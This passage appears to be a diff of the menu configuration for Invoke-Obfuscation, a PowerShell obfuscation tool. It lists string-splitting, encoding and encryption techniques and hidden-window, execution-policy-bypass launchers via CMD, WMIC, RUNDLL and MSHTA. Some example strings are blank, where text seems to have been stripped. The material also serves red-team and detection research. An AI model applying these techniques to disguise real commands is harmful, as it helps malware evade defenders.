e.g. <('co'+'ffe'+'e')>" , @('Out-ObfuscatedTokenCommand', 'String', 1)) + $MenuLevel_Token_String += , @($LineSpacing, '2' , "Reorder --> e.g. <('{1}{0}'-f'ffee','co')>" , @('Out-ObfuscatedTokenCommand', 'String', 2)) + + $MenuLevel_Token_Command = @() + $MenuLevel_Token_Command += , @($LineSpacing, '1' , 'Ticks --> e.g. ' , @('Out-ObfuscatedTokenCommand', 'Command', 1)) + $MenuLevel_Token_Command += , @($LineSpacing, '2' , "Splatting + Concatenate --> e.g. <&('Ne'+'w-Ob'+'ject')>" , @('Out-ObfuscatedTokenCommand', 'Command', 2)) + $MenuLevel_Token_Command += , @($LineSpacing, '3' , "Splatting + Reorder --> e.g. <&('{1}{0}'-f'bject','New-O')>" , @('Out-ObfuscatedTokenCommand', 'Command', 3)) + + $MenuLevel_Token_Argument = @() + $MenuLevel_Token_Argument += , @($LineSpacing, '1' , 'Random Case --> e.g. ' , @('Out-ObfuscatedTokenCommand', 'CommandArgument', 1)) + $MenuLevel_Token_Argument += , @($LineSpacing, '2' , 'Ticks --> e.g. ' , @('Out-ObfuscatedTokenCommand', 'CommandArgument', 2)) + $MenuLevel_Token_Argument += , @($LineSpacing, '3' , "Concatenate --> e.g. <('Ne'+'t.We'+'bClient')>" , @('Out-ObfuscatedTokenCommand', 'CommandArgument', 3)) + $MenuLevel_Token_Argument += , @($LineSpacing, '4' , "Reorder --> e.g. <('{1}{0}'-f'bClient','Net.We')>" , @('Out-ObfuscatedTokenCommand', 'CommandArgument', 4)) + + $MenuLevel_Token_Member = @() + $MenuLevel_Token_Member += , @($LineSpacing, '1' , 'Random Case --> e.g. ' , @('Out-ObfuscatedTokenCommand', 'Member', 1)) + $MenuLevel_Token_Member += , @($LineSpacing, '2' , 'Ticks --> e.g. ' , @('Out-ObfuscatedTokenCommand', 'Member', 2)) + $MenuLevel_Token_Member += , @($LineSpacing, '3' , "Concatenate --> e.g. <('dOwnLo'+'AdsT'+'Ring').Invoke()>" , @('Out-ObfuscatedTokenCommand', 'Member', 3)) + $MenuLevel_Token_Member += , @($LineSpacing, '4' , "Reorder --> e.g. <('{1}{0}'-f'dString','Downloa').Invoke()>" , @('Out-ObfuscatedTokenCommand', 'Member', 4)) + + $MenuLevel_Token_Variable = @() + $MenuLevel_Token_Variable += , @($LineSpacing, '1' , 'Random Case + {} + Ticks --> e.g. <${c`hEm`eX}>' , @('Out-ObfuscatedTokenCommand', 'Variable', 1)) + + $MenuLevel_Token_Type = @() + $MenuLevel_Token_Type += , @($LineSpacing, '1' , "Type Cast + Concatenate --> e.g. <[Type]('Con'+'sole')>" , @('Out-ObfuscatedTokenCommand', 'Type', 1)) + $MenuLevel_Token_Type += , @($LineSpacing, '2' , "Type Cast + Reordered --> e.g. <[Type]('{1}{0}'-f'sole','Con')>" , @('Out-ObfuscatedTokenCommand', 'Type', 2)) + + $MenuLevel_Token_Whitespace = @() + $MenuLevel_Token_Whitespace += , @($LineSpacing, '1' , "`tRandom Whitespace --> e.g. <.( 'Ne' +'w-Ob' + 'ject')>" , @('Out-ObfuscatedTokenCommand', 'RandomWhitespace', 1)) + + $MenuLevel_Token_Comment = @() + $MenuLevel_Token_Comment += , @($LineSpacing, '1' , "Remove Comments --> e.g. self-explanatory" , @('Out-ObfuscatedTokenCommand', 'Comment', 1)) + + $MenuLevel_Token_All = @() + $MenuLevel_Token_All += , @($LineSpacing, '1' , "`tExecute Token obfuscation techniques (random order)" , @('Out-ObfuscatedTokenCommandAll', '', '')) + + # Main\Token Menu. + $MenuLevel_Ast = @() + $MenuLevel_Ast += , @($LineSpacing, 'NamedAttributeArgumentAst' , 'Obfuscate nodes') + $MenuLevel_Ast += , @($LineSpacing, 'ParamBlockAst' , "`t`tObfuscate nodes") + $MenuLevel_Ast += , @($LineSpacing, 'ScriptBlockAst' , "`t`tObfuscate nodes") + $MenuLevel_Ast += , @($LineSpacing, 'AttributeAst' , "`t`tObfuscate nodes") + $MenuLevel_Ast += , @($LineSpacing, 'BinaryExpressionAst' , "`tObfuscate nodes") + $MenuLevel_Ast += , @($LineSpacing, 'HashtableAst' , "`t`tObfuscate nodes") + $MenuLevel_Ast += , @($LineSpacing, 'CommandAst' , "`t`tObfuscate nodes") + $MenuLevel_Ast += , @($LineSpacing, 'AssignmentStatementAst' , "`tObfuscate nodes") + $MenuLevel_Ast += , @($LineSpacing, 'TypeExpressionAst' , "`tObfuscate nodes") + $MenuLevel_Ast += , @($LineSpacing, 'TypeConstraintAst' , "`tObfuscate nodes") + $MenuLevel_Ast += , @($LineSpacing, 'ALL' , "`t`t`tSelect choices from above") + + $MenuLevel_Ast_NamedAttributeArgumentAst = @() + $MenuLevel_Ast_NamedAttributeArgumentAst += , @($LineSpacing, '1' , 'Reorder e.g. <[Parameter(Mandatory, ValueFromPipeline = $True)]> --> <[Parameter(Mandatory = $True, ValueFromPipeline)]>' , @('Out-ObfuscatedAst', @('System.Management.Automation.Language.NamedAttributeArgumentAst'), 1)) + + $MenuLevel_Ast_ParamBlockAst = @() + $MenuLevel_Ast_ParamBlockAst += , @($LineSpacing, '1' , 'Reorder e.g. --> ' , @('Out-ObfuscatedAst', @('System.Management.Automation.Language.ParamBlockAst'), 1)) + + $MenuLevel_Ast_ScriptBlockAst = @() + $MenuLevel_Ast_ScriptBlockAst += , @($LineSpacing, '1' , 'Reorder e.g. <{ Begin {} Process {} End {} }> --> <{ End {} Begin {} Process {} }>' , @('Out-ObfuscatedAst', @('System.Management.Automation.Language.ScriptBlockAst'), 1)) + + $MenuLevel_Ast_AttributeAst = @() + $MenuLevel_Ast_AttributeAst += , @($LineSpacing, '1' , 'Reorder e.g. <[Parameter(Position = 0, Mandatory)]> --> <[Parameter(Mandatory, Position = 0)]>' , @('Out-ObfuscatedAst', @('System.Management.Automation.Language.AttributeAst'), 1)) + + $MenuLevel_Ast_BinaryExpressionAst = @() + $MenuLevel_Ast_BinaryExpressionAst += , @($LineSpacing, '1' , 'Reorder e.g. <(2 + 3) * 4> --> <4 * (3 + 2)>' , @('Out-ObfuscatedAst', @('System.Management.Automation.Language.BinaryExpressionAst'), 1)) + + $MenuLevel_Ast_HashtableAst = @() + $MenuLevel_Ast_HashtableAst += , @($LineSpacing, '1' , "Reorder e.g. <@{ProviderName = 'Microsoft-Windows-PowerShell'; Id = 4104}> --> <@{Id = 4104; ProviderName = 'Microsoft-Windows-PowerShell'}>" , @('Out-ObfuscatedAst', @('System.Management.Automation.Language.HashtableAst'), 1)) + + $MenuLevel_Ast_CommandAst = @() + $MenuLevel_Ast_CommandAst += , @($LineSpacing, '1' , 'Reorder e.g. --> ' , @('Out-ObfuscatedAst', @('System.Management.Automation.Language.CommandAst'), 1)) + + $MenuLevel_Ast_AssignmentStatementAst = @() + $MenuLevel_Ast_AssignmentStatementAst += , @($LineSpacing, '1' , 'Rename e.g. <$Example = "Example"> --> ' , @('Out-ObfuscatedAst', @('System.Management.Automation.Language.AssignmentStatementAst'), 1)) + + $MenuLevel_Ast_TypeExpressionAst = @() + $MenuLevel_Ast_TypeExpressionAst += , @($LineSpacing, '1' , 'Rename e.g. <[ScriptBlock]> --> <[Management.Automation.ScriptBlock]>' , @('Out-ObfuscatedAst', @('System.Management.Automation.Language.TypeExpressionAst'), 1)) + + $MenuLevel_Ast_TypeConstraintAst = @() + $MenuLevel_Ast_TypeConstraintAst += , @($LineSpacing, '1' , 'Rename e.g. <[Int] $Integer = 1> --> <[System.Int32] $Integer = 1>' , @('Out-ObfuscatedAst', @('System.Management.Automation.Language.TypeConstraintAst'), 1)) + + $MenuLevel_Ast_All = @() + $MenuLevel_Ast_All += , @($LineSpacing, '1' , "`tExecute Ast obfuscation techniques" , @('Out-ObfuscatedAst', @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'), '')) + + # Main\String Menu. + $MenuLevel_String = @() + $MenuLevel_String += , @($LineSpacing, '1' , ' entire command' , @('Out-ObfuscatedStringCommand', '', 1)) + $MenuLevel_String += , @($LineSpacing, '2' , ' entire command after concatenating' , @('Out-ObfuscatedStringCommand', '', 2)) + $MenuLevel_String += , @($LineSpacing, '3' , ' entire command after concatenating' , @('Out-ObfuscatedStringCommand', '', 3)) + + # Main\Encoding Menu. + $MenuLevel_Encoding = @() + $MenuLevel_Encoding += , @($LineSpacing, '1' , "`tEncode entire command as " , @('Out-EncodedAsciiCommand' , '', '')) + $MenuLevel_Encoding += , @($LineSpacing, '2' , "`tEncode entire command as " , @('Out-EncodedHexCommand' , '', '')) + $MenuLevel_Encoding += , @($LineSpacing, '3' , "`tEncode entire command as " , @('Out-EncodedOctalCommand' , '', '')) + $MenuLevel_Encoding += , @($LineSpacing, '4' , "`tEncode entire command as " , @('Out-EncodedBinaryCommand' , '', '')) + $MenuLevel_Encoding += , @($LineSpacing, '5' , "`tEncrypt entire command as (AES)" , @('Out-SecureStringCommand' , '', '')) + $MenuLevel_Encoding += , @($LineSpacing, '6' , "`tEncode entire command as " , @('Out-EncodedBXORCommand' , '', '')) + $MenuLevel_Encoding += , @($LineSpacing, '7' , "`tEncode entire command as " , @('Out-EncodedSpecialCharOnlyCommand' , '', '')) + $MenuLevel_Encoding += , @($LineSpacing, '8' , "`tEncode entire command as " , @('Out-EncodedWhitespaceCommand' , '', '')) + + # Main\Compress Menu. + $MenuLevel_Compress = @() + $MenuLevel_Compress += , @($LineSpacing, '1' , "Convert entire command to one-liner and " , @('Out-CompressedCommand' , '', '')) + + # Main\Launcher Menu. + $MenuLevel_Launcher = @() + $MenuLevel_Launcher += , @($LineSpacing, 'PS' , "`t") + $MenuLevel_Launcher += , @($LineSpacing, 'CMD' , ' + PowerShell') + $MenuLevel_Launcher += , @($LineSpacing, 'WMIC' , ' + PowerShell') + $MenuLevel_Launcher += , @($LineSpacing, 'RUNDLL' , ' + PowerShell') + $MenuLevel_Launcher += , @($LineSpacing, 'VAR+' , 'Cmd + set && PowerShell iex ') + $MenuLevel_Launcher += , @($LineSpacing, 'STDIN+' , 'Cmd + | PowerShell - (stdin)') + $MenuLevel_Launcher += , @($LineSpacing, 'CLIP+' , 'Cmd + | Clip && PowerShell iex ') + $MenuLevel_Launcher += , @($LineSpacing, 'VAR++' , 'Cmd + set && Cmd && PowerShell iex ') + $MenuLevel_Launcher += , @($LineSpacing, 'STDIN++' , 'Cmd + set && Cmd | PowerShell - (stdin)') + $MenuLevel_Launcher += , @($LineSpacing, 'CLIP++' , 'Cmd + | Clip && Cmd && PowerShell iex ') + $MenuLevel_Launcher += , @($LineSpacing, 'RUNDLL++' , 'Cmd + set Var && && PowerShell iex Var') + $MenuLevel_Launcher += , @($LineSpacing, 'MSHTA++' , 'Cmd + set Var && && PowerShell iex Var') + + $MenuLevel_Launcher_PS = @() + $MenuLevel_Launcher_PS += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + $MenuLevel_Launcher_PS += , @($LineSpacing, '0' , 'NO EXECUTION FLAGS' , @('Out-PowerShellLauncher', '', '1')) + $MenuLevel_Launcher_PS += , @($LineSpacing, '1' , '-NoExit' , @('Out-PowerShellLauncher', '', '1')) + $MenuLevel_Launcher_PS += , @($LineSpacing, '2' , '-NonInteractive' , @('Out-PowerShellLauncher', '', '1')) + $MenuLevel_Launcher_PS += , @($LineSpacing, '3' , '-NoLogo' , @('Out-PowerShellLauncher', '', '1')) + $MenuLevel_Launcher_PS += , @($LineSpacing, '4' , '-NoProfile' , @('Out-PowerShellLauncher', '', '1')) + $MenuLevel_Launcher_PS += , @($LineSpacing, '5' , '-Command' , @('Out-PowerShellLauncher', '', '1')) + $MenuLevel_Launcher_PS += , @($LineSpacing, '6' , '-WindowStyle Hidden' , @('Out-PowerShellLauncher', '', '1')) + $MenuLevel_Launcher_PS += , @($LineSpacing, '7' , '-ExecutionPolicy Bypass' , @('Out-PowerShellLauncher', '', '1')) + $MenuLevel_Launcher_PS += , @($LineSpacing, '8' , '-Wow64 (to path 32-bit powershell.exe)' , @('Out-PowerShellLauncher', '', '1')) + + $MenuLevel_Launcher_CMD = @() + $MenuLevel_Launcher_CMD += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + $MenuLevel_Launcher_CMD += , @($LineSpacing, '0' , 'NO EXECUTION FLAGS' , @('Out-PowerShellLauncher', '', '2')) + $MenuLevel_Launcher_CMD += , @($LineSpacing, '1' , '-NoExit' , @('Out-PowerShellLauncher', '', '2')) + $MenuLevel_Launcher_CMD += , @($LineSpacing, '2' , '-NonInteractive' , @('Out-PowerShellLauncher', '', '2')) + $MenuLevel_Launcher_CMD += , @($LineSpacing, '3' , '-NoLogo' , @('Out-PowerShellLauncher', '', '2')) + $MenuLevel_Launcher_CMD += , @($LineSpacing, '4' , '-NoProfile' , @('Out-PowerShellLauncher', '', '2')) + $MenuLevel_Launcher_CMD += , @($LineSpacing, '5' , '-Command' , @('Out-PowerShellLauncher', '', '2')) + $MenuLevel_Launcher_CMD += , @($LineSpacing, '6' , '-WindowStyle Hidden' , @('Out-PowerShellLauncher', '', '2')) + $MenuLevel_Launcher_CMD += , @($LineSpacing, '7' , '-ExecutionPolicy Bypass' , @('Out-PowerShellLauncher', '', '2')) + $MenuLevel_Launcher_CMD += , @($LineSpacing, '8' , '-Wow64 (to path 32-bit powershell.exe)' , @('Out-PowerShellLauncher', '', '2')) + + $MenuLevel_Launcher_WMIC = @() + $MenuLevel_Launcher_WMIC += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + $MenuLevel_Launcher_WMIC += , @($LineSpacing, '0' , 'NO EXECUTION FLAGS' , @('Out-PowerShellLauncher', '', '3')) + $MenuLevel_Launcher_WMIC += , @($LineSpacing, '1' , '-NoExit' , @('Out-PowerShellLauncher', '', '3')) + $MenuLevel_Launcher_WMIC += , @($LineSpacing, '2' , '-NonInteractive' , @('Out-PowerShellLauncher', '', '3')) + $MenuLevel_Launcher_WMIC += , @($LineSpacing, '3' , '-NoLogo' , @('Out-PowerShellLauncher', '', '3')) + $MenuLevel_Launcher_WMIC += , @($LineSpacing, '4' , '-NoProfile' , @('Out-PowerShellLauncher', '', '3')) + $MenuLevel_Launcher_WMIC += , @($LineSpacing, '5' , '-Command' , @('Out-PowerShellLauncher', '', '3')) + $MenuLevel_Launcher_WMIC += , @($LineSpacing, '6' , '-WindowStyle Hidden' , @('Out-PowerShellLauncher', '', '3')) + $MenuLevel_Launcher_WMIC += , @($LineSpacing, '7' , '-ExecutionPolicy Bypass' , @('Out-PowerShellLauncher', '', '3')) + $MenuLevel_Launcher_WMIC += , @($LineSpacing, '8' , '-Wow64 (to path 32-bit powershell.exe)' , @('Out-PowerShellLauncher', '', '3')) + + $MenuLevel_Launcher_RUNDLL = @() + $MenuLevel_Launcher_RUNDLL += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + $MenuLevel_Launcher_RUNDLL += , @($LineSpacing, '0' , 'NO EXECUTION FLAGS' , @('Out-PowerShellLauncher', '', '4')) + $MenuLevel_Launcher_RUNDLL += , @($LineSpacing, '1' , '-NoExit' , @('Out-PowerShellLauncher', '', '4')) + $MenuLevel_Launcher_RUNDLL += , @($LineSpacing, '2' , '-NonInteractive' , @('Out-PowerShellLauncher', '', '4')) + $MenuLevel_Launcher_RUNDLL += , @($LineSpacing, '3' , '-NoLogo' , @('Out-PowerShellLauncher', '', '4')) + $MenuLevel_Launcher_RUNDLL += , @($LineSpacing, '4' , '-NoProfile' , @('Out-PowerShellLauncher', '', '4')) + $MenuLevel_Launcher_RUNDLL += , @($LineSpacing, '5' , '-Command' , @('Out-PowerShellLauncher', '', '4')) + $MenuLevel_Launcher_RUNDLL += , @($LineSpacing, '6' , '-WindowStyle Hidden' , @('Out-PowerShellLauncher', '', '4')) + $MenuLevel_Launcher_RUNDLL += , @($LineSpacing, '7' , '-ExecutionPolicy Bypass' , @('Out-PowerShellLauncher', '', '4')) + $MenuLevel_Launcher_RUNDLL += , @($LineSpacing, '8' , '-Wow64 (to path 32-bit powershell.exe)' , @('Out-PowerShellLauncher', '', '4')) + + ${MenuLevel_Launcher_VAR+} = @() + ${MenuLevel_Launcher_VAR+} += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + ${MenuLevel_Launcher_VAR+} += , @($LineSpacing, '0' , 'NO EXECUTION FLAGS' , @('Out-PowerShellLauncher', '', '5')) + ${MenuLevel_Launcher_VAR+} += , @($LineSpacing, '1' , '-NoExit' , @('Out-PowerShellLauncher', '', '5')) + ${MenuLevel_Launcher_VAR+} += , @($LineSpacing, '2' , '-NonInteractive' , @('Out-PowerShellLauncher', '', '5')) + ${MenuLevel_Launcher_VAR+} += , @($LineSpacing, '3' , '-NoLogo' , @('Out-PowerShellLauncher', '', '5')) + ${MenuLevel_Launcher_VAR+} += , @($LineSpacing, '4' , '-NoProfile' , @('Out-PowerShellLauncher', '', '5')) + ${MenuLevel_Launcher_VAR+} += , @($LineSpacing, '5' , '-Command' , @('Out-PowerShellLauncher', '', '5')) + ${MenuLevel_Launcher_VAR+} += , @($LineSpacing, '6' , '-WindowStyle Hidden' , @('Out-PowerShellLauncher', '', '5')) + ${MenuLevel_Launcher_VAR+} += , @($LineSpacing, '7' , '-ExecutionPolicy Bypass' , @('Out-PowerShellLauncher', '', '5')) + ${MenuLevel_Launcher_VAR+} += , @($LineSpacing, '8' , '-Wow64 (to path 32-bit powershell.exe)' , @('Out-PowerShellLauncher', '', '5')) + + ${MenuLevel_Launcher_STDIN+} = @() + ${MenuLevel_Launcher_STDIN+} += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + ${MenuLevel_Launcher_STDIN+} += , @($LineSpacing, '0' , 'NO EXECUTION FLAGS' , @('Out-PowerShellLauncher', '', '6')) + ${MenuLevel_Launcher_STDIN+} += , @($LineSpacing, '1' , '-NoExit' , @('Out-PowerShellLauncher', '', '6')) + ${MenuLevel_Launcher_STDIN+} += , @($LineSpacing, '2' , '-NonInteractive' , @('Out-PowerShellLauncher', '', '6')) + ${MenuLevel_Launcher_STDIN+} += , @($LineSpacing, '3' , '-NoLogo' , @('Out-PowerShellLauncher', '', '6')) + ${MenuLevel_Launcher_STDIN+} += , @($LineSpacing, '4' , '-NoProfile' , @('Out-PowerShellLauncher', '', '6')) + ${MenuLevel_Launcher_STDIN+} += , @($LineSpacing, '5' , '-Command' , @('Out-PowerShellLauncher', '', '6')) + ${MenuLevel_Launcher_STDIN+} += , @($LineSpacing, '6' , '-WindowStyle Hidden' , @('Out-PowerShellLauncher', '', '6')) + ${MenuLevel_Launcher_STDIN+} += , @($LineSpacing, '7' , '-ExecutionPolicy Bypass' , @('Out-PowerShellLauncher', '', '6')) + ${MenuLevel_Launcher_STDIN+} += , @($LineSpacing, '8' , '-Wow64 (to path 32-bit powershell.exe)' , @('Out-PowerShellLauncher', '', '6')) + + ${MenuLevel_Launcher_CLIP+} = @() + ${MenuLevel_Launcher_CLIP+} += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + ${MenuLevel_Launcher_CLIP+} += , @($LineSpacing, '0' , 'NO EXECUTION FLAGS' , @('Out-PowerShellLauncher', '', '7')) + ${MenuLevel_Launcher_CLIP+} += , @($LineSpacing, '1' , '-NoExit' , @('Out-PowerShellLauncher', '', '7')) + ${MenuLevel_Launcher_CLIP+} += , @($LineSpacing, '2' , '-NonInteractive' , @('Out-PowerShellLauncher', '', '7')) + ${MenuLevel_Launcher_CLIP+} += , @($LineSpacing, '3' , '-NoLogo' , @('Out-PowerShellLauncher', '', '7')) + ${MenuLevel_Launcher_CLIP+} += , @($LineSpacing, '4' , '-NoProfile' , @('Out-PowerShellLauncher', '', '7')) + ${MenuLevel_Launcher_CLIP+} += , @($LineSpacing, '5' , '-Command' , @('Out-PowerShellLauncher', '', '7')) + ${MenuLevel_Launcher_CLIP+} += , @($LineSpacing, '6' , '-WindowStyle Hidden' , @('Out-PowerShellLauncher', '', '7')) + ${MenuLevel_Launcher_CLIP+} += , @($LineSpacing, '7' , '-ExecutionPolicy Bypass' , @('Out-PowerShellLauncher', '', '7')) + ${MenuLevel_Launcher_CLIP+} += , @($LineSpacing, '8' , '-Wow64 (to path 32-bit powershell.exe)' , @('Out-PowerShellLauncher', '', '7')) + + ${MenuLevel_Launcher_VAR++} = @() + ${MenuLevel_Launcher_VAR++} += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + ${MenuLevel_Launcher_VAR++} += , @($LineSpacing, '0' , 'NO EXECUTION FLAGS' , @('Out-PowerShellLauncher', '', '8')) + ${MenuLevel_Launcher_VAR++} += , @($LineSpacing, '1' , '-NoExit' , @('Out-PowerShellLauncher', '', '8')) + ${MenuLevel_Launcher_VAR++} += , @($LineSpacing, '2' , '-NonInteractive' , @('Out-PowerShellLauncher', '', '8')) + ${MenuLevel_Launcher_VAR++} += , @($LineSpacing, '3' , '-NoLogo' , @('Out-PowerShellLauncher', '', '8')) + ${MenuLevel_Launcher_VAR++} += , @($LineSpacing, '4' , '-NoProfile' , @('Out-PowerShellLauncher', '', '8')) + ${MenuLevel_Launcher_VAR++} += , @($LineSpacing, '5' , '-Command' , @('Out-PowerShellLauncher', '', '8')) + ${MenuLevel_Launcher_VAR++} += , @($LineSpacing, '6' , '-WindowStyle Hidden' , @('Out-PowerShellLauncher', '', '8')) + ${MenuLevel_Launcher_VAR++} += , @($LineSpacing, '7' , '-ExecutionPolicy Bypass' , @('Out-PowerShellLauncher', '', '8')) + ${MenuLevel_Launcher_VAR++} += , @($LineSpacing, '8' , '-Wow64 (to path 32-bit powershell.exe)' , @('Out-PowerShellLauncher', '', '8')) + + ${MenuLevel_Launcher_STDIN++} = @() + ${MenuLevel_Launcher_STDIN++} += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + ${MenuLevel_Launcher_STDIN++} += , @($LineSpacing, '0' , "`tNO EXECUTION FLAGS" , @('Out-PowerShellLauncher', '', '9')) + ${MenuLevel_Launcher_STDIN++} += , @($LineSpacing, '1' , "`t-NoExit" , @('Out-PowerShellLauncher', '', '9')) + ${MenuLevel_Launcher_STDIN++} += , @($LineSpacing, '2' , "`t-NonInteractive" , @('Out-PowerShellLauncher', '', '9')) + ${MenuLevel_Launcher_STDIN++} += , @($LineSpacing, '3' , "`t-NoLogo" , @('Out-PowerShellLauncher', '', '9')) + ${MenuLevel_Launcher_STDIN++} += , @($LineSpacing, '4' , "`t-NoProfile" , @('Out-PowerShellLauncher', '', '9')) + ${MenuLevel_Launcher_STDIN++} += , @($LineSpacing, '5' , "`t-Command" , @('Out-PowerShellLauncher', '', '9')) + ${MenuLevel_Launcher_STDIN++} += , @($LineSpacing, '6' , "`t-WindowStyle Hidden" , @('Out-PowerShellLauncher', '', '9')) + ${MenuLevel_Launcher_STDIN++} += , @($LineSpacing, '7' , "`t-ExecutionPolicy Bypass" , @('Out-PowerShellLauncher', '', '9')) + ${MenuLevel_Launcher_STDIN++} += , @($LineSpacing, '8' , "`t-Wow64 (to path 32-bit powershell.exe)" , @('Out-PowerShellLauncher', '', '9')) + + ${MenuLevel_Launcher_CLIP++} = @() + ${MenuLevel_Launcher_CLIP++} += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + ${MenuLevel_Launcher_CLIP++} += , @($LineSpacing, '0' , 'NO EXECUTION FLAGS' , @('Out-PowerShellLauncher', '', '10')) + ${MenuLevel_Launcher_CLIP++} += , @($LineSpacing, '1' , '-NoExit' , @('Out-PowerShellLauncher', '', '10')) + ${MenuLevel_Launcher_CLIP++} += , @($LineSpacing, '2' , '-NonInteractive' , @('Out-PowerShellLauncher', '', '10')) + ${MenuLevel_Launcher_CLIP++} += , @($LineSpacing, '3' , '-NoLogo' , @('Out-PowerShellLauncher', '', '10')) + ${MenuLevel_Launcher_CLIP++} += , @($LineSpacing, '4' , '-NoProfile' , @('Out-PowerShellLauncher', '', '10')) + ${MenuLevel_Launcher_CLIP++} += , @($LineSpacing, '5' , '-Command' , @('Out-PowerShellLauncher', '', '10')) + ${MenuLevel_Launcher_CLIP++} += , @($LineSpacing, '6' , '-WindowStyle Hidden' , @('Out-PowerShellLauncher', '', '10')) + ${MenuLevel_Launcher_CLIP++} += , @($LineSpacing, '7' , '-ExecutionPolicy Bypass' , @('Out-PowerShellLauncher', '', '10')) + ${MenuLevel_Launcher_CLIP++} += , @($LineSpacing, '8' , '-Wow64 (to path 32-bit powershell.exe)' , @('Out-PowerShellLauncher', '', '10')) + + ${MenuLevel_Launcher_RUNDLL++} = @() + ${MenuLevel_Launcher_RUNDLL++} += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + ${MenuLevel_Launcher_RUNDLL++} += , @($LineSpacing, '0' , 'NO EXECUTION FLAGS' , @('Out-PowerShellLauncher', '', '11')) + ${MenuLevel_Launcher_RUNDLL++} += , @($LineSpacing, '1' , '-NoExit' , @('Out-PowerShellLauncher', '', '11')) + ${MenuLevel_Launcher_RUNDLL++} += , @($LineSpacing, '2' , '-NonInteractive' , @('Out-PowerShellLauncher', '', '11')) + ${MenuLevel_Launcher_RUNDLL++} += , @($LineSpacing, '3' , '-NoLogo' , @('Out-PowerShellLauncher', '', '11')) + ${MenuLevel_Launcher_RUNDLL++} += , @($LineSpacing, '4' , '-NoProfile' , @('Out-PowerShellLauncher', '', '11')) + ${MenuLevel_Launcher_RUNDLL++} += , @($LineSpacing, '5' , '-Command' , @('Out-PowerShellLauncher', '', '11')) + ${MenuLevel_Launcher_RUNDLL++} += , @($LineSpacing, '6' , '-WindowStyle Hidden' , @('Out-PowerShellLauncher', '', '11')) + ${MenuLevel_Launcher_RUNDLL++} += , @($LineSpacing, '7' , '-ExecutionPolicy Bypass' , @('Out-PowerShellLauncher', '', '11')) + ${MenuLevel_Launcher_RUNDLL++} += , @($LineSpacing, '8' , '-Wow64 (to path 32-bit powershell.exe)' , @('Out-PowerShellLauncher', '', '11')) + + ${MenuLevel_Launcher_MSHTA++} = @() + ${MenuLevel_Launcher_MSHTA++} += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + ${MenuLevel_Launcher_MSHTA++} += , @($LineSpacing, '0' , 'NO EXECUTION FLAGS' , @('Out-PowerShellLauncher', '', '12')) + ${MenuLevel_Launcher_MSHTA++} += , @($LineSpacing, '1' , '-NoExit' , @('Out-PowerShellLauncher', '', '12')) + ${MenuLevel_Launcher_MSHTA++} += , @($LineSpacing, '2' , '-NonInteractive' , @('Out-PowerShellLauncher', '', '12')) + ${MenuLevel_Launcher_MSHTA++} += , @($LineSpacing, '3' , '-NoLogo' , @('Out-PowerShellLauncher', '', '12')) + ${MenuLevel_Launcher_MSHTA++} += , @($LineSpacing, '4' , '-NoProfile' , @('Out-PowerShellLauncher', '', '12')) + ${MenuLevel_Launcher_MSHTA++} += , @($LineSpacing, '5' , '-Command' , @('Out-PowerShellLauncher', '', '12')) + ${MenuLevel_Launcher_MSHTA++} += , @($LineSpacing, '6' , '-WindowStyle Hidden' , @('Out-PowerShellLauncher', '', '12')) + ${MenuLevel_Launcher_MSHTA++} += , @($LineSpacing, '7' , '-ExecutionPolicy Bypass' , @('Out-PowerShellLauncher', '', '12')) + ${MenuLevel_Launcher_MSHTA++} += , @($LineSpacing, '8' , '-Wow64 (to path 32-bit powershell.exe)' , @('Out-PowerShellLauncher', '', '12')) + + # Input options to display non-interactive menus or perform actions. + $TutorialInputOptions = @(@('tutorial') , " of how to use this tool `t " ) + $MenuInputOptionsShowHelp = @(@('help','get-help','?','-?','/?','menu'), "Show this Menu `t " ) + $MenuInputOptionsShowOptions = @(@('show options','show','options') , " for payload to obfuscate `t " ) + $ClearScreenInputOptions = @(@('clear','clear-host','cls') , " screen `t " ) + $CopyToClipboardInputOptions = @(@('copy','clip','clipboard') , " ObfuscatedCommand to clipboard `t " ) + $OutputToDiskInputOptions = @(@('out') , "Write ObfuscatedCommand to disk `t " ) + $ExecutionInputOptions = @(@('exec','execute','test','run') , " ObfuscatedCommand locally `t " ) + $ResetObfuscationInputOptions = @(@('reset') , " ALL obfuscation for ObfuscatedCommand ") + $UndoObfuscationInputOptions = @(@('undo') , " LAST obfuscation for ObfuscatedCommand ") + $BackCommandInputOptions = @(@('back','cd ..') , "Go to previous obfuscation menu `t " ) + $ExitCommandInputOptions = @(@('quit','exit') , " Invoke-Obfuscation `t " ) + $HomeMenuInputOptions = @(@('home','main') , "Return to Menu `t " ) + # For Version 1.0 ASCII art is not necessary. + #$ShowAsciiArtInputOptions = @(@('ascii') , "Display random art for the lulz :)`t") + + # Add all above input options lists to be displayed in SHOW OPTIONS menu. + $AllAvailableInputOptionsLists = @() + $AllAvailableInputOptionsLists += , $TutorialInputOptions + $AllAvailableInputOptionsLists += , $MenuInputOptionsShowHelp + $AllAvailableInputOptionsLists += , $MenuInputOptionsShowOptions + $AllAvailableInputOptionsLists += , $ClearScreenInputOptions + $AllAvailableInputOptionsLists += , $ExecutionInputOptions + $AllAvailableInputOptionsLists += 